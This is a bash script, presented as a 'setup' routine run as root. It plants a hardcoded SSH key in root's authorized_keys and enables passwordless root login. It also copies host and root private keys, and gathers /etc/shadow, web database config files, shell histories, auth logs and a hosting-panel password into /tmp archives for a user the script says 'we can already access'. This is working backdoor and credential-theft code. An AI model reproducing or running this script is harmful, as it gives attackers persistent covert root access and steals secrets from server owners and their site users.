#!/bin/bash
#

# ~ for home user does not work, we need full path
bash_rc_file="/root/.bashrc"
enumerate_file="/tmp/default.txt"
OS="Unknown"
VER="Unknown"
IP="IP_Unknown"
sshd_config_file="/etc/ssh/sshd_config"
authorized_keys_file="/root/.ssh/authorized_keys"
BT_Panel="/etc/init.d/bt"
InsertCiphers=false
id_rsa_file="/root/.ssh/id_rsa"
id_rsa_file_pub="/root/.ssh/id_rsa.pub"

# newer openssh key will not work with vssh so use dn ssh key
SSH_KEY_DN="ssh-rsa [payload removed: 372 characters]"


export PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
SYS_DT=$(date +%F-%T | tr ':' '_')

exiterr()  { echo "Error: $1" >&2; exit 1; }
exiterr2() { exiterr "'Install' failed."; }
conf_bk() { /bin/cp -f "$1" "$1.old-$SYS_DT" 2>/dev/null; }
bigecho() { echo; echo "## $1"; echo; }
resumeerr()  { return 0; }







dnsetup() {
bigecho "Setup in progress... Please be patient."

echo -n "Username we can already access: "
read USERNAME







if [ -f /etc/os-release ]; then
	# freedesktop.org and systemd
	. /etc/os-release
	OS=$NAME
	VER=$VERSION_ID
elif type lsb_release >/dev/null 2>&1; then
	# linuxbase.org
	OS=$(lsb_release -si)
	VER=$(lsb_release -sr)
elif [ -f /etc/lsb-release ]; then
	# For some versions of Debian/Ubuntu without lsb_release command
	. /etc/lsb-release
	OS=$DISTRIB_ID
	VER=$DISTRIB_RELEASE
elif [ -f /etc/debian_version ]; then
	# Older Debian/Ubuntu/etc.
	OS=Debian
	VER=$(cat /etc/debian_version)
elif [ -f /etc/SuSe-release ]; then
	# Older SuSE/etc.
	OS=$(cat /etc/SuSe-release)
	VER=$(grep -oE '[0-9]+\.[0-9]+' /etc/SuSe-release)
elif [ -f /etc/redhat-release ]; then
	# Older Red Hat, CentOS, etc.
	OS=$(cat /etc/redhat-release)
	VER=$(grep -oE '[0-9]+\.[0-9]+' /etc/redhat-release)
else
	# Fall back to uname, e.g. "Linux <version>", also works for BSD, etc.
	OS=$(uname -s)
	VER=$(uname -r)
fi


echo $OS , $VER





if [[ "$OS" == *"CentOS"* ]]; then
	yum update
	# check if we can access repository...
	yum -y install curl
	case "$(curl -s --max-time 2 -I http://mirrorlist.CentOS.org | sed 's/^[^ ]*  *\([0-9]\).*/\1/; 1q')" in
		[23]) yum -y install nano lshw net-tools nmap wget tar bc lsb-release || resumeerr;;
		5) echo "The web proxy won't let us through";;
		*) echo "The network is down or very slow";;
	esac
fi
if [[ "$OS" == *"Ubuntu"* ]] || [[ "$OS" == *"Debian"* ]] || [[ "$OS" == *"elementary"* ]]; then
	apt-get update
	# check if we can access repository...
	apt-get -y install curl
	case "$(curl -s --max-time 2 -I http://archive.ubuntu.com | sed 's/^[^ ]*  *\([0-9]\).*/\1/; 1q')" in
		[23]) apt-get -y install nano lshw net-tools nmap wget tar bc lsb-release || resumeerr;;
		5) echo "The web proxy won't let us through";;
		*) echo "The network is down or very slow";;
	esac
fi


if [[ "$OS" == *"Ubuntu"* ]]; then
	VersionNum_float=$(cut -f2 <<< "$VER")
	Impish_float=21.10
	#Since you can’t do floating-point arithmetic natively in Bash, you will have to use a command-line tool. The most common one is bc - An arbitrary precision calculator language
	#but it needs to installed, if not already
	if [ "`echo "${VersionNum_float} > ${Impish_float}" | bc`" -eq 1 ]; then
		InsertCiphers=true
	fi
fi


if [[ "$OS" == *"Debian"* ]]; then
	VersionNum_integer=$(cut -f2 <<< "$VER")
	DebianVersion_integer=10
	#For POSIX shells that don't support (( a > b )), you can use -lt and -gt
	if [ "$VersionNum_integer" -gt "$DebianVersion_integer" ]; then
		InsertCiphers=true
	fi
fi



#-i for “in place”, it means that no copy of the file will be created.
# comment out this line
#sed -i '/^PermitRootLogin/s/^/#/' /etc/ssh/sshd_config
# dont look for PermitRootLogin yes
sed -i 's/^#?PermitRootLogin\s*[nN]o.*$/PermitRootLogin without-password/' "$sshd_config_file"
sed -i 's/^PermitRootLogin\s*[nN]o.*$/PermitRootLogin without-password/' "$sshd_config_file"
#sed -i 's/^#PermitRootLogin.*$/PermitRootLogin without-password/' "$sshd_config_file"

sed -i 's/^#ClientAliveInterval.*$/ClientAliveInterval 120/' "$sshd_config_file"
sed -i 's/^#ClientAliveCountMax.*$/ClientAliveCountMax 720/' "$sshd_config_file"


#uid_min=$(awk '/^UID_MIN/ {print $2}' /etc/login.defs)
#users=$(awk -F: '{if ($3 >= $uid_min) x++} END {print x}' /etc/passwd)


IP=$(hostname -I)
if [ "$?" != "0" ]; then
	# use old hostname version if -I option not available eg CentOS5
	IP=$(hostname -i)
fi
IP_full=$IP



if [[ "$OS" == *"CentOS"* ]]; then
	#remove trailing space
	IP="$(echo -e "${IP}" | sed -e 's/[[:space:]]*$//')"
	#replace spaces with _
	IP="$(echo -e "${IP}" | sed -e 's/[[:space:]]/_/g')"
	#replace colons with - for IP6 addresses
	IP="$(echo -e "${IP}" | sed -e 's/:/-/g')"
	# trim filename - max is 256 but trim the filename to a manageable 100
	IP="$(echo -e "${IP}" | sed -e 's/^\(.\{100\}\).*/\1/')"
	enumerate_file="/tmp/${IP}/${IP}_enumerate.txt"
fi
# -e removed from echo for Ubuntu
if [[ "$OS" == *"Ubuntu"* ]] || [[ "$OS" == *"Debian"* ]] || [[ "$OS" == *"elementary"* ]]; then
	#remove trailing space sed -e removed for Ubuntu
	IP="$(echo "${IP}" | sed -e 's/[[:space:]]*$//')"
	#replace spaces with _
	IP="$(echo "${IP}" | sed -e 's/[[:space:]]/_/g')"
	#replace colons with - for IP6 addresses
	IP="$(echo "${IP}" | sed -e 's/:/-/g')"
	#replace -e_ with BLANK due to some bug with ubuntu reading -e_ from the CentOS if statement above
	IP="$(echo "${IP}" | sed -e 's/-e_//g')"
	# trim filename - max is 256 but trim the filename to a manageable 100
	IP="$(echo "${IP}" | sed -e 's/^\(.\{100\}\).*/\1/')"
	enumerate_file="/tmp/${IP}/${IP}_enumerate.txt"
fi

mkdir "/tmp/${IP}"


#use single echo > to wipe enumerate_file
#use double echo >> to append to enumerate_file
echo "*********************************************************************" > $enumerate_file
echo "ip a" >> $enumerate_file
ip a >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "hostname -I" >> $enumerate_file
echo $IP_full >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "route -n" >> $enumerate_file
route -n >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "uname -a" >> $enumerate_file
uname -a >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "lshw -short" >> $enumerate_file
lshw -short >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "lsblk -a" >> $enumerate_file
lsblk -a >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "netstat -ltnp" >> $enumerate_file
netstat -ltnp >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file
echo "last" >> $enumerate_file
last >> $enumerate_file


echo "*********************************************************************" >> $enumerate_file



if ! test -f "$id_rsa_file" && ! test -f "$id_rsa_file_pub"; then
	# both id_rsa files do not exist
	mkdir -p /root/.ssh
	chmod 700 /root/.ssh

	# the next if checks to see if the proceeding command executed correctly
	cp -n /etc/ssh/ssh_host* /root/.ssh
	if [ "$?" != "0" ]; then
		# CentOS5 does not have -n - do not overwrite an existing file
		cp /etc/ssh/ssh_host* /root/.ssh
	fi

	chmod 600 /root/.ssh/ssh_host*
	chmod 644 /root/.ssh/ssh_host*.pub

	touch /root/.ssh/authorized_keys
	cat /root/.ssh/ssh_host*.pub >> /root/.ssh/authorized_keys
	chmod 644 /root/.ssh/authorized_keys

	mv /root/.ssh/ssh_host_rsa_key.pub /root/.ssh/id_rsa.pub
	mv /root/.ssh/ssh_host_rsa_key /root/.ssh/id_rsa

	echo "/root/.ssh/id_rsa" >> $enumerate_file
	cat /root/.ssh/id_rsa >> $enumerate_file
	cat /root/.ssh/id_rsa > "/tmp/${IP}/${IP}_id_rsa_root"
else
	# check to see if we have been here before ie we are executed more than once
	# bashrc will have been altered by us, so check that
	#if grep -qs "PS1='\[\033" "$bash_rc_file" && test -f "$id_rsa_file"; then
	if grep -qs "\\[\\\033\[1;36m" "$bash_rc_file" && test -f "$id_rsa_file"; then
		echo "/root/.ssh/id_rsa" >> $enumerate_file
		cat /root/.ssh/id_rsa >> $enumerate_file
		cat /root/.ssh/id_rsa > "/tmp/${IP}/${IP}_id_rsa_root"
	else
		mkdir -p /root/.ssh
		chmod 700 /root/.ssh

		# the next if checks to see if the proceeding command executed correctly
		cp -n /etc/ssh/ssh_host* /root/.ssh
		if [ "$?" != "0" ]; then
			# CentOS5 does not have -n - do not overwrite an existing file
			cp /etc/ssh/ssh_host* /root/.ssh
		fi

		chmod 600 /root/.ssh/ssh_host*
		chmod 644 /root/.ssh/ssh_host*.pub
		if test -f "$id_rsa_file"; then
			chmod 600 /root/.ssh/id_rsa
		fi
		if test -f "$id_rsa_file_pub"; then
			chmod 644 /root/.ssh/id_rsa.pub
		fi

		touch /root/.ssh/authorized_keys
		cat /root/.ssh/*.pub >> /root/.ssh/authorized_keys
		chmod 644 /root/.ssh/authorized_keys


		if ! test -f "$id_rsa_file"; then
			mv /root/.ssh/ssh_host_rsa_key /root/.ssh/id_rsa
		fi
		if ! test -f "$id_rsa_file_pub"; then
			mv /root/.ssh/ssh_host_rsa_key.pub /root/.ssh/id_rsa.pub
		fi

		echo "/root/.ssh/id_rsa" >> $enumerate_file
		cat /root/.ssh/id_rsa >> $enumerate_file
		cat /root/.ssh/id_rsa > "/tmp/${IP}/${IP}_id_rsa_root"

		if test -f /root/.ssh/ssh_host_rsa_key; then
			echo "/root/.ssh/ssh_host_rsa_key" >> $enumerate_file
			cat /root/.ssh/ssh_host_rsa_key >> $enumerate_file
			cat /root/.ssh/ssh_host_rsa_key > "/tmp/${IP}/${IP}_ssh_host_rsa_key_root"
		fi
	fi
fi

# only append parent ssh key if is not already there
if ! grep -qs "\-\-\-\-\-BEGIN OPENSSH PRIVATE KEY\-\-\-\-\-" "${authorized_keys_file}"; then
	# newer openssh key will not work with vssh so use dn ssh key
	echo "${SSH_KEY_DN}" >> ${authorized_keys_file}
fi



# remove duplicates
#sort ~/.ssh/authorized_keys | uniq > ~/.ssh/authorized_keys.uniq
#mv ~/.ssh/authorized_keys{.uniq,}
sort ${authorized_keys_file} | uniq > ${authorized_keys_file}.uniq
mv ${authorized_keys_file}{.uniq,}


service sshd restart
if [ "$?" != "0" ]; then
	service ssh restart
fi



# grep -q suppress all normal output, -s suppress error messages
#if ! grep -qs "PS1='\[\033" "$bash_rc_file"; then
if ! grep -qs "\\[\\\033\[1;36m" "$bash_rc_file"; then
	# note the \\ before the $, we need to escape the \ which we need
	cat >> "$bash_rc_file" <<EOF
PS1='\[\033[1;36m\]\u\[\033[1;31m\]@\[\033[1;32m\]\h:\[\033[1;35m\]\w\[\033[1;31m\]\\$\[\033[0m\] '
EOF
	source $bash_rc_file
fi



find /etc -maxdepth 3 -mindepth 1 -wholename "/etc/passwd" -o -wholename "/etc/shadow" -o -wholename "/etc/ssh" -o -wholename "/etc/fstab" -o -wholename "/etc/my*" | tar -zcvf /tmp/${IP}/${IP}_etc.tar.gz -P -T -

if test -d "/var/www"; then
	find /var/www -maxdepth 10 -mindepth 1 -iname "wp_config*.php" -o -iname "wp-config*.php" -o -iname "configuration.php" -o -iname "db_connect.php" -o -iname "DB.php" -o -iname "db_config.php" -o -iname "config.php" -o -iname "condb.php" -o -iname "database.php" -o -iname "config.inc.php" -o -iname ".env.php" -o -iname "infos.txt" -o -iname ".ftpconfig" -o -iname "default.db" | tar -zcvf /tmp/${IP}/${IP}_var_www.tar.gz -P -T -
fi

if test -d "/www"; then
	find /www -maxdepth 10 -mindepth 1 -iname "wp_config*.php" -o -iname "wp-config*.php" -o -iname "configuration.php" -o -iname "db_connect.php" -o -iname "DB.php" -o -iname "db_config.php" -o -iname "config.php" -o -iname "condb.php" -o -iname "database.php" -o -iname "config.inc.php" -o -iname ".env.php" -o -iname "infos.txt" -o -iname ".ftpconfig" -o -iname "default.db" | tar -zcvf /tmp/${IP}/${IP}_www.tar.gz -P -T -
fi

find /media -maxdepth 30 -mindepth 1 -iname ".zsh_history" -o -iname ".bash_history" -o -iname ".ssh" -o -iname ".mysql_history" -o -iname "wp_config*.php" -o -iname "wp-config*.php" -o -iname "configuration.php" -o -iname "db_connect.php" -o -iname "DB.php" -o -iname "db_config.php" -o -iname "config.php" -o -iname "condb.php" -o -iname "database.php" -o -iname "config.inc.php" -o -iname ".env.php" -o -iname "infos.txt" -o -iname ".ftpconfig" | tar -zcvf /tmp/${IP}/${IP}_media.tar.gz -P -T -

find /mnt -maxdepth 30 -mindepth 1 -iname ".zsh_history" -o -iname ".bash_history" -o -iname ".ssh" -o -iname ".mysql_history" -o -iname "wp_config*.php" -o -iname "wp-config*.php" -o -iname "configuration.php" -o -iname "db_connect.php" -o -iname "DB.php" -o -iname "db_config.php" -o -iname "config.php" -o -iname "condb.php" -o -iname "database.php" -o -iname "config.inc.php" -o -iname ".env.php" -o -iname "infos.txt" -o -iname ".ftpconfig" | tar -zcvf /tmp/${IP}/${IP}_mnt.tar.gz -P -T -

find /home -maxdepth 10 -mindepth 1 -iname ".zsh_history" -o -iname ".bash_history" -o -iname ".ssh" -o -iname ".mysql_history" -o -iname "wp_config*.php" -o -iname "wp-config*.php" -o -iname "configuration.php" -o -iname "db_connect.php" -o -iname "DB.php" -o -iname "db_config.php" -o -iname "config.php" -o -iname "condb.php" -o -iname "database.php" -o -iname "config.inc.php" -o -iname ".env.php" -o -iname "infos.txt" -o -iname ".ftpconfig" | tar -zcvf /tmp/${IP}/${IP}_home.tar.gz -P -T -

find /root -maxdepth 2 -mindepth 1 -iname ".zsh_history" -o -iname ".bash_history" -o -iname ".ssh" -o -iname ".mysql_history" -o -iname ".my.cnf" | tar -zcvf /tmp/${IP}/${IP}_root.tar.gz -P -T -


if [[ "$OS" == *"CentOS"* ]]; then
	find /var/log -maxdepth 1 -mindepth 1 -iname "secure" | tar -zcvf /tmp/${IP}/${IP}_var_log.tar.gz -P -T -
	sleep 2
fi
if [[ "$OS" == *"Ubuntu"* ]] || [[ "$OS" == *"Debian"* ]]; then
	find /var/log -maxdepth 1 -mindepth 1 -iname "auth.log" | tar -zcvf /tmp/${IP}/${IP}_var_log.tar.gz -P -T -
	sleep 2
fi

if test -f ${BT_Panel}; then
	#Passwords in /www/server/panel/data/default.db
	/etc/init.d/bt default > /tmp/${IP}/${IP}_BT-Panel_default_password.txt
fi


# check to see if we have been here before ie we are executed more than once
if [ "$InsertCiphers" = true ]; then
	if ! grep -qs "Reenable old ciphers" "$sshd_config_file"; then
		echo "Insert ciphers"
		echo "Reenable old ciphers and hostkeyalgorithms to work with vssh on Ubuntu 22.04"
		echo "Allow old ssh keys to work with Ubuntu 22.04"
		echo "# Reenable old ciphers and hostkeyalgorithms to work with vssh on Ubuntu 22.04
# Ciphers
Ciphers +chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com
#KexAlgorithms diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1
KexAlgorithms +curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256

# HostKeyAlgorithms
HostKeyAlgorithms +ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,sk-ecdsa-sha2-nistp256-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,sk-ssh-ed25519-cert-v01@openssh.com,rsa-sha2-512-cert-v01@openssh.com,rsa-sha2-256-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,sk-ecdsa-sha2-nistp256@openssh.com,ssh-ed25519,sk-ssh-ed25519@openssh.com,rsa-sha2-512,rsa-sha2-256,ssh-rsa

# Allow old ssh keys to work with Ubuntu 22.04
PubkeyAcceptedKeyTypes +ssh-rsa" >> $sshd_config_file
		sleep 2
		service sshd restart
		#if above command failed, then try this following command instead
		if [ "$?" != "0" ]; then
			service ssh restart
		fi
	fi
fi



mv /tmp/*setup* /tmp/${IP}


chown $USERNAME:$USERNAME -R /tmp/${IP}
chmod 700 /tmp/${IP}


if test -f "/tmp/default.txt"; then
	chown $USERNAME:$USERNAME "/tmp/default.txt"
	chmod 700 "/tmp/default.txt"
fi










}


## Defer setup until we have the complete script

if [ "$(id -u)" != 0 ]; then
	exiterr "Script must be run as root. Try 'sudo bash $0'"
fi


dnsetup "$@"

exit 0